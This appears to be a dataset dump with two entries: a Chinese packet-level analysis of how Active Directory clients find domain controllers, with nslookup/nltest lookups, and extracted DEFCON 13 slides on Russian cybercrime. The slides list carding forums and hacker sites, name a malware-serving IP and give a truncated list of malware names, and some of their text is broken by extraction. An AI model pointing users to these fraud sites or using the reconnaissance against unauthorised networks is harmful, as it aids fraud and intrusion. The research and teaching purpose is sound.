text
stringlengths
100
9.93M
category
stringclasses
11 values
微软AD如何定位域控 我在本地搭建了⼀个域 DC 192.168.1.200 名字为DCSERVER client 192.168.1.151 DNS loca.test.com 在搭建完域之后,先把域控启动后再启动客户机的机器的时候抓了⼀下包 在3-6条 1.client请求DNS服务器的ldap.tcp.dc._msdcs.loca.test.com的SRV记录 2.DNS服务器返回SRV⾥记录的服务、端⼝、 A记录。(192.168.1.200:389) 3.client拿到SRV⾥的值以后发送解析A记录的请求 4.DNS服务器返回了解析的域名+IP地址 第1.2步是从DNS SRV⾥拿数据 第3.4步是把拿到的srv的数据解析为IP 在拿到srv的记录后⾥⾯存储的是域名和端⼝,在进⾏余下的操作的时候,是要解析为IP地址再进⾏通信的。 以下为MS⽂档中对SRV记录在AD中的作⽤ SRV记录:DNS中的⼀种信息记录,它将服务的名称映射到域名系统名字提供该服务的服务器的。域控制器 (DC)的宣传是其由DNS SRV记录实现的此功能。在DNS服务器⾥则⼊下图所设置 在拿到DNS⾥的SRV记录后,还会在发送⼀个UDP的数据包(7),这个包在wireshark中标记为CLDAP。LDAP ping 在Microsoft Active Directory⽹络中最常⻅,其中客户端使⽤LDAP或CLDAP进⾏LDAP ping来检索服务 器信息。 在理解LDAP PING之前,先看⼀下前置知识 LDAP服务器提供有关⾃身的信息以及特定于每个服务器的其他信息,例如它的功能、它⽀持的 LDAP 版本以及它 使⽤的命名上下⽂。存储这些信息的是rootDSE 为⽬录服务器上⽬录数据树的根。rootDSE 不是任何命名空间的 ⼀部分。rootDSE 的⽬的是提供有关⽬录服务器的数据。这些信息不经过身份验证即可访问,只读。存储的所有信 息如下。 A --> Windows 2000 D --> Windows Server 2003 operating system DR2 --> Windows Server 2003 R2 operating system G --> ADAM K --> Windows Server 2008 operating system AD DS L --> Windows Server 2008 AD LDS N --> Windows Server 2008 R2 operating system AD DS P --> Windows Server 2008 R2 AD LDS S --> Windows Server 2012 operating system AD DS T --> Windows Server 2012 AD LDS V --> Windows Server 2012 R2 operating system AD DS W --> Windows Server 2012 R2 AD LDS Y --> Windows Server 2016 operating system AD DS Z --> Windows Server 2016 AD LDS B2 --> Windows Server v1709 operating system AD DS C2 --> Windows Server v1709 AD LDS E2 --> Windows Server v1803 operating system AD DS F2 --> Windows Server v1803 AD LDS H2 --> Windows Server v1809 operating system AD DS I2 --> Windows Server v1809 AD LDS K2 --> Windows Server 2019 operating system AD DS Attribute name A D, DR2 G K, N L, P S T V W Y Z B2 C2 E2, H2, K2 F2, I2, L2 configurationNamingContext X X X X X X X X X X X X X X X currentTime X X X X X X X X X X X X X X X defaultNamingContext X X X X X X X X X X X X X X X dNSHostName X X X X X X X X X X X X X X X dsSchemaAttrCount X X X X X X X X X X X X X X X dsSchemaClassCount X X X X X X X X X X X X X X X dsSchemaPrefixCount X X X X X X X X X X X X X X X dsServiceName X X X X X X X X X X X X X X X highestCommittedUSN X X X X X X X X X X X X X X X isGlobalCatalogReady X X X X X X X X isSynchronized X X X X X X X X X X X X X X X ldapServiceName X X X X X X X X namingContexts X X X X X X X X X X X X X X X netlogon X X X X X X X X pendingPropagations X X X X X X X X X X X X X X X rootDomainNamingContext X X X X X X X X schemaNamingContext X X X X X X X X X X X X X X X serverName X X X X X X X X X X X X X X X subschemaSubentry X X X X X X X X X X X X X X X supportedCapabilities X X X X X X X X X X X X X X X supportedControl X X X X X X X X X X X X X X X supportedLDAPPolicies X X X X X X X X X X X X X X X L2 --> Windows Server 2019 AD LDS supportedLDAPVersion X X X X X X X X X X X X X X X supportedSASLMechanisms X X X X X X X X X X X X X X X domainControllerFunctionality X X X X X X X X X X X X X X domainFunctionality X X X X X X X forestFunctionality X X X X X X X X X X X X X X msDS-ReplAllInboundNeighbors X X X X X X X X X X X X X X msDS-ReplAllOutboundNeighbors X X X X X X X X X X X X X X msDS-ReplConnectionFailures X X X X X X X X X X X X X X msDS-ReplLinkFailures X X X X X X X X X X X X X X msDS-ReplPendingOps X X X X X X X X X X X X X X msDS-ReplQueueStatistics X X X X X X X X X X X X X X msDS-TopQuotaUsage X X X X X X X X X X X X X X supportedConfigurableSettings X X X X X X X X X X X X X X supportedExtension X X X X X X X X X X X X X X validFSMOs X X X X X X X X X X X X X X dsaVersionString X X X X X X X X X X X X X msDS-PortLDAP X X X X X X X X X X X X X msDS-PortSSL X X X X X X X X X X X X X msDS-PrincipalName X X X X X X X X X X X X X serviceAccountInfo X X X X X X X X X X X X X spnRegistrationResult X X X X X X X X X X X X X tokenGroups X X X X X X X X X X X X X usnAtRifm X X X X X X X X X X X X approximateHighestInternalObjectID X X X X X X X X X X databaseGuid X X X X X X X X schemaIndexUpdateState X X X X X X X X dumpLdapNotifications X X X X X X msDS-ProcessLinksOperations * X X X X X X X X msDS-SegmentCacheInfo ** X X msDS-ThreadStates *** X X X X X X ConfigurableSettingsEffective X X X X LDAPPoliciesEffective X X X X msDS-ArenaInfo X X X X msDS-Anchor X X msDS-PrefixTable X X msDS-SupportedRootDSEAttributes X X msDS-SupportedRootDSEModifications X X 这⾥我们着重的看 RootDSE⾥的netlogon属性,因为LDAP PING 的实现就是搜索netlogon属性 当我在搜索RootDSE的时候发现⽬录⾥不存在netlogon。 因为这⾥所实现的LDAP 的netlogon是通过域控制器将查询传递给在域控制器上运⾏的 NetLogon 服务,由 NetLogon去返回NetLogon属性, 这⾥很绕,通俗⼀点来讲是在LDAP上是没有netlogon这个属性的,微软通过NetLogon来实现了这个属性。然后把 这个概念放到了LDAP ROOtDSE上,NetLogon属性只适⽤于我们在进⾏LDAP PING 这是MS提供的搜索的例⼦ (&(DnsDomain=abcde.corp.microsoft.com)(Host=abcdefgh-dev)(User=abcdefgh-dev$)(AAC=\80\00\00\00) (DomainGuid=\3b\b0\21\ ca\d3\6d\d1\11\8a\7d\b8\df\b1\56\87\1f)(NtVer=\06\00\00\00)) ⽹络有效载荷: 这⾥是我们在域客户端请求LDAP下的默认下进⾏的⽹络包(7) A0 84 00 00 00 A8 A3 84 00 00 00 25 04 09 44 ?...¨?...%..D 6E 73 44 6F 6D 61 69 66 04 18 61 62 63 64 65 nsDomain..abcde 2E 63 6F 72 70 2E 6D 69 63 72 6F 73 6F 66 74 .corp.microsoft 2E 63 6F 6D A3 84 00 00 00 14 04 04 48 6F 73 .com£?......Hos 74 04 0C 61 62 63 64 65 66 67 68 2D 64 65 76 t..abcdefgh-dev A3 84 00 00 00 15 04 04 55 73 65 72 04 0D 61 £?......⽤户..a 62 63 64 65 66 67 68 2D 64 65 76 24 A3 84 00 bcdefgh-dev$£?。 00 00 0B 04 03 41 41 43 04 04 80 00 00 00 A3 .....AAC..?...£? 84 00 00 00 1E 04 0A 44 6F 6D 61 69 6E 47 75 ......DomainGu 69 64 04 10 3B B0 21 CA D3 6D D1 11 8A 7D B8 id..;°!ÊÓmÑ.?}¸ DF B1 56 87 1F A3 84 00 00 00 0D 04 05 4E 74 ß±V?.£?......Nt 56 65 72 04 04 06 00 00 00 30 84 00 00 00 0A Ver......0?.... 04 08 6E 65 74 6C 6F 67 6F 6E ..netlogon DnsDomain:当前的域 Host:客户端的NetBIOS名称 NtVer:NETLOGON_NT_VERSION 选项位(兼容新旧AD) DnsHost:客户端的完全限定域名 在第七条数据包的时候我们请求的是RootDSE中的NETLOGON属性 当我们的LDAP ping SearchRequest请求发送以后,接下来看服务器与我们回复的包(8) 从红框中的依次是 DS_FLAG (DS_FLAG选项) DomainGuid (NC 的 GUID 属性值) DnsForestName(森林的 DNS 名称) DnsDomainName(NC 的 DNS 名称) DnsHostName(DNS的服务器名称) NetbiosDomainName(NetBIOS 域名) NetbiosComputerName(服务器NetBIOS名称) UserName(⽤户名) DcSiteName(服务器的Active Directory 站点名称) ClientSiteName(客户端的Active Directory 站点名称) Version Flags (NtVersion) LM (必须设置为 0xFFFF) NT (必须设置为 0xFFFF) 接下来开始看DS_FLAG位,DS_FLAG为四个字节, DS_PDC_FLAG, 0x00000001:服务器持有PDC FSMO⻆⾊(PdcEmulationMasterRole) DS_GC_FLAG,0x00000004:服务器是全局编录 域控制器,将接受和处理在全局编录端⼝ 上定向到它的消 息 DS_LDAP_FLAG, 0x00000008:服务器是LDAP服务器 DS_DS_FLAG, 0x00000010:服务器是域控制器 DS_KDC_FLAG,0x00000020:服务器正在运⾏Kerberos 密钥分发中⼼服务。 DS_TIMESERV_FLAG, 0x00000040:W32Time 中指定的 Win32 Windows 时间服务存在于服务器上。 DS_CLOSEST_FLAG, 0x00000080:DcSiteName和ClientSiteName相同,提示客户端它在速度⽅⾯与服务器 的连接良好。 DS_WRITABLE_FLAG, 0x00000100:表示服务器不是RODC。如第 3.1.1.1.9 节所述,RODC上托管的所有 NC 副本不接受原始更新。 DS_GOOD_TIMESERV_FLAG, 0x00000200:服务器是可靠的时间服务器。 DS_NDNC_FLAG, 0x00000400: NamingContext是⼀个应⽤程序 NamingContext。 DS_SELECT_SECRET_DOMAIN_6_FLAG, 0x00000800):服务器是RODC。 DS_FULL_SECRET_DOMAIN_6_FLAG, 0x00001000:服务器是可写 DC,不通过Windows Server 2003 R2操 作系统运⾏Windows Server 2000 操作系统。 DS_WS_FLAG, 0x00002000:服务器上存在MS-ADDM 中指定的 Active Directory Web 服务。 DS_DS_8_FLAG, 0x00004000:服务器未通过Windows Server 2008 R2操作系统运⾏Windows Server 2000 操作系统。 DS_DS_9_FLAG, 0x00008000:服务器未通过Windows Server 2012操作系统运⾏Windows Server 2000。 DS_DNS_CONTROLLER_FLAG, 0x20000000:服务器有⼀个DNS 域名。 DS_DNS_DOMAIN_FLAG, 0x40000000: NamingContext是DefaultNamingContext DS_DNS_FOREST_FLAG, 0x80000000: NamingContext是森林根域 在分析完这些之后可以⼤概的对微软如何进⾏定位域控的进⾏⼀个了解了 登录到基于 Windows 的域的⼯作站以⼀般形式查询DNS SRV 记录。 Active Directory 服务器通过TCP协议提供轻型⽬录访问协议( LDAP ) 服务。因此,客户端通过查询DNS SRV 记录 来查找LDAP服务器(即域控制器)以获取以下形式的记录: 当客户端登录或加⼊⽹络时,它必须能够找到域控制器。因此,客户端通过查询 DNS 以获取以下形式的记录来查 找域控制器: 客户端找到域控制器后,它通过使⽤LDAP建⽴通信以访问AD。客户端使⽤LDAP ping建⽴到域控制器的LDAP连接 并检索Netlogon 属性。该客户端确定的域控制器适⽤于启动Windows登录使⽤Windows客户端认证架构 资料来源:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/8ebcf782-87fd-4dc3-85 85-1301569dfe4f _ldap._tcp.DnsDomainName _LDAP._TCP.dc._msdcs.domain name 通过查询DNS SRV的记录来定位域控的两条命令 nslookup -type=SRV _ldap._tcp.dc._msdcs.loca.test.com nltest /dsgetdc:loca.test.com //其实还有好⼏条命令,不过我忘了。
pdf
Hacking in a Foreign Language: A Network Security Guide to Russia Kenneth Geers CISSP DEFCON 13 Briefing Outline 1. Russia as a Threat 2. Russia as a Resource 3. Crossing Borders: Methodology 4. The International Political Scene Russia as a Threat Hacking: A Russian Perspective • Excellent technical education • Understanding of networks, programming • 1980’s: hacked American software in order to make programs work in USSR • Now: many skilled people, too few jobs • Russian police have higher priorities! Financial Incentive • Internet access is expensive – Cheaper to steal access and services • Legit MS Office = 2 months’ salary • CD burner = two weeks’ salary • Russian outdoor markets: – MS Operating System a few dollars • Hacking: more social approval? – Communal sharing culture Cybercrime • Financial crimes: banks, fraud, piracy • Russian citizen Igor Kovalyev: – “Hacking is … one of the few good jobs left.” • Vladimir Levin: – 1994-95 transferred $10 million from Citibank – FBI NYC and Russian Telecoms traced activity to Levin’s St Petersburg employer • Microsoft: Oct 2000: – Traced to IP in St. Petersburg, Russia • Coreflood and Joe Lopez – Keyloggers and Ebay Dmitry Sklyarov • DefCon IX speaker • First Indictment under Digital Millennium Copyright Act (DMCA) – Advanced eBook Processor "AEBPR” – Five Adobe copyright violations • Dmitry: – Computer programmer and cryptanalyst • Long confession on FBI site – Cooperated in prosecuting Elcomsoft – Company acquitted • Victory for the EFF! ZDE = $ • Russian MVD: – Cyber crime doubled in year 2003 – 11,000 reported cases • New techniques equal new revenue • High profits bring more investment • FBI: – Millions of credit card #'s stolen by hacker groups in Russia and Ukraine • Arrests in 2004: – International gambling extortion ring – Russian student fined for spamming IIS Annihilation • Sophisticated HangUP Web attack – Exploits Microsoft IIS, Internet Explorer – Appends malicious JavaScript onto webpages of infected site • Web surfers viewing infected pages invisibly redirected to a Russian hacker site • Russian server at 217.107.218.147 – Loaded backdoor and key logger onto victim • Snatched authentication info: – eBay, PayPal, EarthLink, Juno, and Yahoo NCW 1.0, Backdoor.NCW [Kaspersky], BackDoor-FE [McAfee], Network Crack Wizard, [F-Prot], Trojan.PSW.HackPass, A-311 Death, Backdoor.Hackdoor.b, Backdoor.Haxdoor for pdx32.sys, Backdoor.Haxdoor.e, Backdoor.Haxdoor.g, FDar, TrojanDownloader.Win32.Fidar.10, BackDoor- Downloader-CF trojan, TrojanDownloader.Win32.Fidar.11.a, Secret Messenger, BolsheVIK's Sec v1, Secret Messager, AntiLamer Light, Antilam, Backdoor.AJW, Backdoor.Antilam, Dialer.DQ [Pa Trojan.PSW.AlLight.10.a, Trojan.PSW.AlLight.10.b), Trojan.PSW.AlLight.11.d, Trojan.PSW.AlLig Trojan.PSW.AlLight.21, AntiLamer Backdoor, Backdoor.Antilam.11, Backdoor.Antilam.12.a, Back Antilam.12.b, Backdoor.Antilam.14.a, Backdoor.Antilam.14.c, Backdoor.Antilam.20.a, Backdoor.A Backdoor.Antilam.20.k, Backdoor.Antilam.20.m, Backdoor.Antilam.g1, BackDoor-AED trojan, PW rojan, Barrio, Barrio Trojan, Trojan.PSW.Barrio.305, Trojan.PSW.Barrio.306, Trojan.PSW.Barrio Trojan.PSW.Barrio.50, EPS E-Mail Password Sender, Trojan.PSW.Eps.109, Trojan.PSW.Eps.15 Trojan.PSW.Eps.161, Trojan.PSW.Eps.165, Trojan.PSW.Eps.166, M2 Trojan, jan.Win32.M2.147 PSW.Hooker.g, Trojan.PSW.M2.14, Trojan.PSW.M2.145, Trojan.PSW.M2.148, Trojan.PSW.M2. Trojan.PSW.M2.16, Zalivator, Backdoor.Zalivator.12, Backdoor.Zalivator.13, Backdoor.Zalivator. Backdoor.Zalivator.142, Naebi, AntiLamer Toolkit Pro 2.36, Trojan.PSW.Coced.236, Trojan.PSW Trojan.PSW.Coced.236.d, Trojan.PSW.Coced.238, Trojan.PSW.Coced.240, Trojan.PSW.Coced System 2.3, Backdoor.SpySystem.23, Backdoor.SpySystem.23 [Kaspersky], Win32.Lom, [Kaspe Win32.Lom for server, Backdoor.Agobot, Backdoor.Agobot [Kaspersky], Backdoor.Agobot.cr [Ka Backdoor.Agobot.gen [Kaspersky], Backdoor.Agobot.ik [Kaspersky], MS03-026 Exploit.Trojan [C Associates], W32.HLLW.Gaobot.gen [Symantec], W32/Gaobot.worm.gen [McAfee], Win32.Agob Computer Associates], Win32.Agobot.NO [Computer Associates], Win32/Agobot.3.GG trojan [E Win32/Agobot.3.LO trojan [Eset], Win32/Agobot.IK trojan [Eset], Win32/Agobot.NO.Worm [Comp Associates], Digital Hand, Backdoor.DigitalHand.10, DigitA1 hAnd, Lamers Death, Backdoor.Dea Death.22, Backdoor.Death.23, Backdoor.Death.24, Backdoor.Death.25.a, Backdoor.Death.25.b Backdoor.Death.25.e, Backdoor.Death.25.f, Backdoor.Death.25.g, Backdoor.Death.25.i, Backdo Death.25.k, Backdoor.Death.26, Backdoor.Death.26.c, Backdoor.Death.26.d, Backdoor.Death.26 Backdoor.Death.26.f, Backdoor.Death.27.a, Backdoor.Death.27.b, Backdoor.Death.27.c, Backdo Russian Malware Social Engineering Criminal Communication • Public Web forums – Many no registration for read access – Meeting place for beginners, fearless criminals – Information sharing and “career building” – Government agencies are watching • Closed forums – Registration required – Recommendations from senior members • Thereafter, secure communications – Peer-to-peer – Provided by forum software or ICQ Carding Links http://www.all-about-all.ru/forum/index.php http://cardingworld.net/forum/index.php http://www.x-forum.ru/ http://thecc.su/index.php http://xsreal.ru/forum/ Merchandise • Announce your service… – Socks proxies – Hacked sites – Credit card numbers – Money laundering – Telecommunications connections – Use your imagination • For respect, your nick must become known – Based on services you can deliver – And deals you can make Getting Paid • Announcement of 'services' includes price • Your service will be immediately checked out – Usually by forum administrators • Not legit? – You get “ripper” status – This means banishment – forever! • Forum may use Webmoney system – WebMoney born in Russia • The international warez movement • DoD: SW piracy group – Founded in Russia 1993 – Expanded internationally in 1990's • 1998-2001, over $50 million in warez • 20 “candy store” FTP sites ("Godcomplex”) • Sophisticated security includes encryption • Operation Buccaneer – “Bandido” and “thesaint” arrested Hacktivism • RAF (Russian Antifascist Frontier) • CHC (Chaos Hackers Crew) – Hit NATO in response to bombings in Yugoslavia with virus-infected email – “Protest actions" against White House and Department of Defense servers • United Kingdom – Lost database information • United States – No impact on war effort claimed • Hacking your political adversary’s sites: – Morally justifiable? Espionage • KGB, SVR, FSB, FAPSI • Robert Hanssen – Veteran FBI CI agent, C programmer – Created a FBI field office teletype system – Hacked FBI superior’s account – Mid-1980’s: encrypted BBS messages – Offered wireless encryption via Palm VII – Highly classified info for $ and diamonds – Internal searches: “hanssen dead drop washington” Information Warfare • Revolution in Military Affairs (RMA) – Electronic Command and Control • Information weapons: “paramount” attention – Unconventional, asymmetric, force multiplier – Viruses, logic bombs, microbes, micro-chipping – Ultimate goal: digital Pearl Harbor • Russia second only to … United States? – Required “response” to US • National critical infrastructure protection – “Electronic Russia” project Cyber War in Practice • Chechen conflict 1994-1996 – Cyber War: Chechens 1, Russia 0 • Chechen conflict 1997-Present – Cyber War: Russia 1, Chechens 0 • Websites involved: – www.qoqaz.net, www.kavkaz.org, www.chechenpress.com, www.infocentre.ru • Videos of attacks on Russians, Russian POWs • Cyber attacks concurrent with storming of Moscow theater • Kavkaz server located in US! – Domain registration changed, information erased Threat Summary • Post-Soviet Escape: – Hackers, crackers, and virus writers • Internet access in Russia growing – So is malicious code from Russia • Organized cyber crime: – Whole world impact • Novarg, MyDoom, Bagel, Mydoom, Netsky – Slows transformation to legitimate market • Money reinvested into other crime: – Smuggling, prostitution Russia as a Resource Hacker Sites Сайты Хакера: Hacker Sites http://thm.h1.ru/ http://ahteam.org/ http://cracklab.narod.ru/ http://www.geekru.narod.ru/ http://hangup.da.ru/ http://www.xakep.ru/ http://www.xakepxp.by.ru/ http://www.kibus1.narod.ru/ http://www.hacker.dax.ru/ http://hscool.net/ http://www.xakepy.ru/ http://www.cyberhack.ru/ http://www.mazafaka.ru/ http://madalf.ru/ http://tehnofil.ru/ http://forum.web-hack.ru/ http://hscool.net/ http://www.cyberhack.ru/ www.cyberhack.ru motto “Хакеры, Взлом, Защита, Программирование, Исходники, Халява, Софт, Проги” Хакеры: Hackers Взлом: Attack Защита: Defense Программирование: Programming Исходники: Beginners Халява Warez Софт: Software Проги: Programs Site Map Main Training News Archive Resources Download Articles Search Discussions Forum Hacker Tools Port Scanner Anonymous Email DNS Informer Statistics Most Popular Friends Resources… Free Stuff… Articles by Topic Хакерство: Hacking Программирование: Programming Защита: Defense Системы: Systems Халява: Warez Вирусология: Virology Внедрение: Intrusion Архив Статей: Archive of Articles Загрузки: Downloads Безопасность: Security Пароли: Passwords Прочее: Miscellaneous Трояны: Trojans Защита: Defense Литература: Literature Нападение: Attack Программирование: Programming Сканеры: Scanners Top Ten Downloads The only tool above (same name) found on the www.insecure.org Top 75 Network Security Tools was the Retina Scanner, at #21. Discussion Forums How to Hack? Off Topic How to Defend? Social Engineering Phreaking Programming Trinkets: Buy and Sell Operating Systems People: White/Black Lists Contact Info Хакерские Утилиты Hacker Tools: TCP Port Scanner Anonymous E-mail DNS Informer Results for kremlin.ru: Port: 80 Open Service: HTTP “Big brother is always watching over you, don’t forget ;)” Administrators and Contact Administrators: [email protected] [email protected] Software Translation • Natural Language Processing (NLP): the subfield of artificial intelligence and linguistics that studies the processing of NL (English, Dutch, Russian, etc) – Devoted to making computers "understand" human languages • Machine translation (MT): computer translation of texts from one natural language to another – Considers grammatical structure – Renders up to 80% accuracy – Draft-quality, not for literature or legal texts – Humans still need to pre- and post-edit (proof-read) – Ultimate goal is no human intervention Professional Translations Hacker Attitude: Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude. Хэкерский подход: Хэкеры решают проблемы и строят вещи, они верят в свободу и в добровольную взаимопомощь. Для того, чтобы вас воспринимали как хэкера, вы должны вести себя так, как если бы это была ваша собственная позиция. А для того, чтобы вести себя так, будто это ваша позиция, вы должны действительно верить в эту позицию. From How To Become A Hacker, by Eric Steven Raymond Free Translation Services • www.word2word.com • www.google.com/language_tools – non-Euro: Japanese, Korean, Chinese • www.babelfish.altavista.com – up to 150 words or a webpage • www.translate.ru (Russian site) • www.freetranslation.com • www.translation2.paralink.com • www.foreignword.com/Tools/transnow.htm – 1600 language pairs Commercial Translation Software • www.lingvo.ru (Russian site) • www.worldlingo.com • www.tranexp.com • www.babylon.com – free trial version download • www.allvirtualware.com • www.systransoft.com • www.languageweaver.com – several prestigious awards Translation Software at Work 1 Smashing The Stack For Fun And Profit by Aleph One [email protected] `smash the stack` [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Translation Software at Work 2 Ломать Стог Для Потехи И Профита: Алепю одним, smash ` [email protected]. stack` [ ч программируя ] н. На много вставк ч по возможности коррумпировать стог исполнения путем писание за концом автомобиля объявленного блоком в режиме. Закодируйте делает это сказаны, что ломает стог, и может причинить возвращение от режима к скачке к случайно адресу. Это может произвести некоторые из самых злокозненных данн-zavisimyx черепашок знанных к mankind. Варианты вклюают погань стог, scribble стог, мангль стог; термина mung стог не использована, как это никогда не сделано преднамеренно. См. spam; см. также alias черепашку, fandango на сердечнике, утечке памяти, lossage предшествования, винте заскока. Babel Fish Translation Translation Software at Work 3 To break Stack For The fun I of the profit: To alepyu one, smash ` [email protected]. stack` [ h programming ] n. na many vstavk h as far as possible to korrumpirovat' the stack of the performance by way writing after the end of the automobile of that declared by block in the regime. Code makes this they are said, which breaks stack, and it can cause return from the regime to the gallop to randomly the address. This can produce some of the most insidious it is given - .zavisimyx cherepashok znannykh to mankind. Versions vklyuayut trash stack, scribble stack, mangle stack; term mung stack it is not used, as this is never done prednamerenno. See spam; see also alias bug, fandango on the core, the leakage of memory, lossage precedence, the screw of overrun. Russified Software www.web.ru/Resource/ www.russianeditor.com/ Crossing International Borders in Cyberspace Four T Plan • Tribes – Anthropological: history, culture, law • Terrain – Infrastructure: publications, traceroutes • Techniques – Hacker sites, groups, news, malware • Translation – Leveling the playing field Russia Rostelecom Russian Telecommunications • Internet country codes: .ru, .su • Internet hosts: 600,000, Users: 6 million • Telephones: 35.5 mil, Cell: 17.5 mil – Digital trunk lines: Saint Petersburg to Khabarovsk, Moscow to Novorossiysk • International connections: – Three undersea fiber-optic cables – 50,000 digital call switches – Satellite: Intelsat, Intersputnik, Eutelsat, Inmarsat, Orbita – International Country Code: 7 РУНЕТ • RUNET, or Russian Net • Russian cyberspace – Everything Russian AND Internet – All online content generated: • In Russian • For Russians – Aimed at Russian community worldwide • Includes the hackers and the ‘stupid users’ – чайник and олень • Parallel: CHINANET Internet Usage by Country Internet Usage in Russia Golden Telecom Rostelecom Learning to Fish: Traceroutes • Maps the routes data travel across networks – Gives physical locations of Web servers and routers – Possible to plot these on a map • Determines connectivity and data flow efficiency • Possible to determine who owns the network – Can trace unwanted activity like scans and spam – Can help in finding contact information • Can report type of remote computer running Tracerouting Russia TraceReport.bat tracert 303.shkola.spb.ru >tracerpt.txt tracert acorn-sb.narod.ru >>tracerpt.txt tracert adcom.net.ru >>tracerpt.txt tracert admin.smolensk.ru >>tracerpt.txt tracert agentvolk.narod.ru >>tracerpt.txt tracert alfatelex.tver.ru >>tracerpt.txt tracert anarchy1.narod.ru >>tracerpt.txt Traceroute Map of Russia 12.123.3.x att.net New York > 193.10.68.x nordu.net Stockholm, Sweden > 193.10.252.x RUN.net Moscow, Russia > 193.232.80.x spb-gw.runnet.ru Federal Center for University Network > 194.106.194.x univ.kern.ru Kaliningrad, Russia (Kaliningrad State University) 62.84.193.x Sweden SE-COLT-PROVIDER > 217.150.40.x transtelecom.net Russia > 213.24.60.x artelecom.ru Russia > 80.82.177.x dvinaland.atnet.ru Arkhangelsk, Russia > 80.82.178.x www.dvinaland.ru Arkhangelsk, Russia 213.248.101.x telia.net Telia International Carrier > 217.106.5.x RTComm.RU Russia > 195.72.224.x sakhalin.ru Sakhalin, Russia, UBTS, Yuzhno-Sakhalinsk > 195.72.226.x www.adm.sakhalin.ru Sakhalin, Russia (Regional Admin of Sakhalin Island and Kuril's) New York Stockholm Arkhangelsk Sakhalin Kaliningrad Major Russian IP ranges • 193 .124 .0 .0 – 193 .124 .0 .255 EUnet/RELCOM; Moscow • 193 .125 .0 .0 – 193 .125 .0 .255 Novosibirsk State Tecnical University • 193 .233 .0 .0 – 193 .233 .0 .255 FREEnet Network Operations Center • 194 .67 .0 .0 – 194 .67 .0 .255 Sovam Teleport; Moscow, Russia • 195 .161 .0 .0 – 195 .161 .0 .255 Rostelecom/Internet Center • 195 .209 .0 .0 – 195 .209 .15 .255 Russian Backbone Net • 195 .54 .0 .0 – 195 .54 .0 .255 Chelyabinsk Ctr Scientific and Tech Info • 212 .122 .0 .0 – 212 .122 .1 .255 Vladivostok Long Dist and Int’l Telephone • 212 .16 .0 .0 – 212 .16 .1 .255 Moscow State University • 212 .41 .0 .48 – 212 .41 .0 .63 Siberian Institute of Information Tech • 212 .6 .0 .0 – 212 .6 .0 .255 WAN and Dial Up interfaces • 213 .158 .0 .0 – 213 .158 .0 .255 Saint Petersburg Telegraph • 213 .221 .0 .80 – 213 .221 .0 .83 SOVINTEL SHH NET, Moscow • 217 .114 .0 .0 – 217 .114 .1 .255 RU SKYNET Offensive IP Ranges • Bob’s Block List (BBL): http://www.unixhub.com/block.html – Spammers: mail.ru, ufanet.ru, hotmail.ru, nsc.ru, id.ru, all banner.relcom.ru • Spamcop.Net: www.spamcop.net – No Russian IPs listed! • The Spamhaus Project: http://www.spamhaus.org/ Russian Government Portal www.kremlin.ru Russian Cyber Crime Office “Cybernetic Police”: http://www.cyberpol.ru/ [email protected] Information Security in Russia Information Protection Laws Anthology C. Crime Units Library SORM Understanding C. Crime Computer Criminals Forum Send an E-mail Киберполиции: Cybernetic Police Objectives Types of Threats Physical Threats Directions Subjects Means Principles Goals Challenges Official Russian Designations кардеры (от английского слова "card") - лица, специализирующиеся на незаконной деятельности в сфере оборота пластиковых карт - документов на машинном носителе и их электронных реквизитов. фрэкеры (от английского слова "phreacker") - лица, специализирующиеся на совершении преступлений в области электросвязи с использованием конфиденциальной компьютерной информации и специальных технических средств разработанных (приспособленных, запрограммированных) для негласного получения информации с технических каналов крэкеры (от английского слова "cracker") - лица, занимающиеся "взломом" (модификацией, блокированием, уничтожением) программно - аппаратных средств защиты компьютерной информации, охраняемых законом Cybercrime Statistics to 1982! Киберполиции: Regional Offices Республики: Отдел "Р" МВД Республики Горный Алтай: Altay Отдел "К" МВД Республики Мордовия: Mordoviya МВД Республики Татарстан: Tatarstan Отдел "К" МВД Республики Чувашия: Chuvashiya Края: Отдел "К" УСТМ ГУВД Алтайского края: Altay Отдел "К" ГУВД Красноярского края: Krasnoyarsk Отдел "К" УВД Приморского края: Primorskiy Отдел "К" УВД Ставропольского края: Stavropol' Области: Отдел "К" УВД Архангельской области: Arkhangel'sk Отдел "Р" УВД Владимирской области: Vladimir УФСБ России по Воронежской области: Voronezh http://ndki.narod.ru/links/MVD_online.html Отдел "Р" УВД Кировской области: Kirov Отдел "К" УВД Костромской области: Kostroma Отдел "К" УВД Липецкой области: Lipetsk Отдел "К" ГУВД Нижегородской области: Nizhniy Отдел "Р" УВД Новгородской области: Novgorod Отдел "К" УВД Оренбургской области: Orenburg Отдел "К" ГУВД Самарской области: Samara Отдел "Р" УВД Тамбовской области: Tambov Отдел "Р" УВД Тульской области: Tula Отдел "Р" УВД Ульяновской области: Ul'yanovsk Отдел "К" УВД Читинской области: Chita Автономные округа: Отдел "К" УВД Ханты-Мансийского АО: Khanty-Mansi Russian Cyber Crime Fighter Ф.И.О.: Вехов Виталий Борисович Ученая степень и звание: кандидат юридических наук, доцент, подполковник милиции. Место работы: Волгоградская Академия МВД России, факультет повышения квалификации, кафедра организации следственной работы. Тема кандидатской диссертации: Криминалистическая характеристика и совершенствование практики расследования и предупреждения преступлений, совершаемых с использованием средств компьютерной техники. – Волгоград., 1995. Область научных интересов: методика выявления, раскрытия, расследования и предупреждения компьютерных преступлений; криминалистическое компьютероведение; использование компьютерных технологий в деятельности органов предварительного расследования; защита информации; техническая разведка; радио-электронная борьба. Научные труды: более 40 опубликованных работ. В том числе 2 монографии, 2 учебно-практических и 4 учебно-методических пособия, 3 примерных методических программ для вузов МВД, главы в учебниках (список опубликованных работ). E-mail: [email protected] Web: www.cyberpol.ru - автор проекта Dialogue with Top Cyber Cop Здравствуйте, уважаемый Kenneth Geers! Можем дать следующие ответы на Ваши вопросы. Вопрос: Получали ли вы в прошлом запросы об информации из-за рубежа? Ответ: Да. Каждый день 89 подразделений Национального центрального бюро Интерпола России (89 divisions of a National central bureau of Interpol of Russia) по E-mail получают и обрабатывают много поручений и запросов от правоохранительных организаций стран - членов Международной организации уголовной полиции Interpol. 